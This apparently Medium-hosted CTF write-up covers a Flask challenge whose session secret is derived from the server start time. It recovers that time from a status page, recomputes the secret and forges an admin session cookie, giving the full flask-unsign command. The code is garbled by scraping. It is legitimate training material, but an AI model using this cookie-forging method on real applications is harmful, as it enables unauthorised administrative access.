In this Parrot CTF event, our objective was to log in and retrieve a flag from the admin page.
Initial Access
this is the url of admin page [http://chal.competitivecyber.club:9999/admin](http://chal.competitivecyber.club:9999/admin`)
if you open this link you will get an 404 error message like this :
{"error":{"code":401,"message":"There is an error"}}so what’s now?
This challenge provided us with the code for the site, allowing us to analyze it for potential vulnerabilities. Below is the relevant code:
#!/usr/bin/env python3from flask import Flask, request, render_template, jsonify, abort, redirect, sessionimport uuidimport osfrom datetime import datetime, timedeltaimport hashlib
app = Flask(__name__)server_start_time = datetime.now()server_start_str = server_start_time.strftime(‘%Y%m%d%H%M%S’)secure_key = hashlib.sha256(f’secret_key_{server_start_str}’.encode()).hexdigest()app.secret_key = secure_keyapp.config[‘PERMANENT_SESSION_LIFETIME’] = timedelta(seconds=300)flag = os.environ.get(‘FLAG’, “flag{this_is_a_fake_flag}”)secret = uuid.UUID(‘31333337–1337–1337–1337–133713371337’)
def is_safe_username(username): “””Check if the username is alphanumeric and less than 20 characters.””” return username.isalnum() and len(username) < 20
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/’, methods=[‘GET’, ‘POST’])def main(): “””Handle the main page where the user submits their username.””” if request.method == ‘GET’: return render_template(‘index.html’) elif request.method == ‘POST’: username = request.values[‘username’] password = request.values[‘password’] if not is_safe_username(username): return render_template(‘index.html’, error=’Invalid username’) if not password: return render_template(‘index.html’, error=’Invalid password’) if username.lower().startswith(‘admin’): return render_template(‘index.html’, error=’Don\’t try to impersonate administrator!’) if not username or not password: return render_template(‘index.html’, error=’Invalid username or password’) uid = uuid.uuid5(secret, username) session[‘username’] = username session[‘uid’] = str(uid) return redirect(f’/user/{uid}’)
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/user/’)def user_page(uid): “””Display the user’s session page based on their UUID.””” try: uid = uuid.UUID(uid) except ValueError: abort(404) session[‘is_admin’] = False return ‘Welcome Guest! Sadly, you are not admin and cannot view the flag.’
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/admin’)def admin_page(): “””Display the admin page if the user is an admin.””” if session.get(‘is_admin’) and uuid.uuid5(secret, ‘administrator’) and session.get(‘username’) == ‘administrator’: return flag else: abort(401)
[@app](http://twitter.com/app "Twitter profile for @app").route(‘/status’)def status(): current_time = datetime.now() uptime = current_time — server_start_time formatted_uptime = str(uptime).split(‘.’)[0] formatted_current_time = current_time.strftime(‘%Y-%m-%d %H:%M:%S’) status_content = f”””Server uptime: {formatted_uptime}
Server time: {formatted_current_time} “”” return status_content
if __name__ == ‘__main__’: app.run(“0.0.0.0”, port=9999)Exploit Analysis
To access the /admin page you should have a forge cookie (fake cookie) or a special cookie to access the page else you will get 401 error.
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator': return flag else: abort(401)To make a forge cookie we need 2 things uuid and secret.
- UUID: by this script we can get UUID.
import uuid# this is provided in code.secret = uuid.UUID('31333337-1337-1337-1337-133713371337')print(secret)- secret key : This Python script can generate the secret key.
import hashlib import uuidsecure_key = hashlib.sha256(f'secret_key_20240922172016'.encode()).hexdigest() print(secure_key)Note: The secret_key is time-based and only valid for 5 minutes. To generate a valid secret_key, we need to adjust the timestamp (20240922172016).
go to
http://chal.competitivecyber.club:9999/status
so to do it we have to subtract server uptime — server time
ex: if Server uptime: 0:07:29 Server time: 2024–09–23 06:18:10
so 06:18:10–0:07:29 = 06:10:41 and add date as well in starting.
2024–09–2306:10:41 = 20240923061041
by it you will get the secret key .
Crafting the Cookie
To create a valid cookie, we will use the flask-unsign tool:
flask-unsign --sign --cookie "{'is_admin': True, 'uid': '02ec19dc-bb01-5942-a640-7099cda78081', 'username': 'administrator'}" --secret 'a45bb96b977c34872488db6f2a041a7633a849871fc06432d70fbfba4aa30328'Replace — secret with the secret key you generated.
Replace UID with the UID you generated.
Final Step
Now go to [http://chal.competitivecyber.club:9999/admin](http://chal.competitivecyber.club:9999/admin`)
and change the cookie you created .
boom you get the flag.
This post was originally published on Medium. Imported 2024-09-23.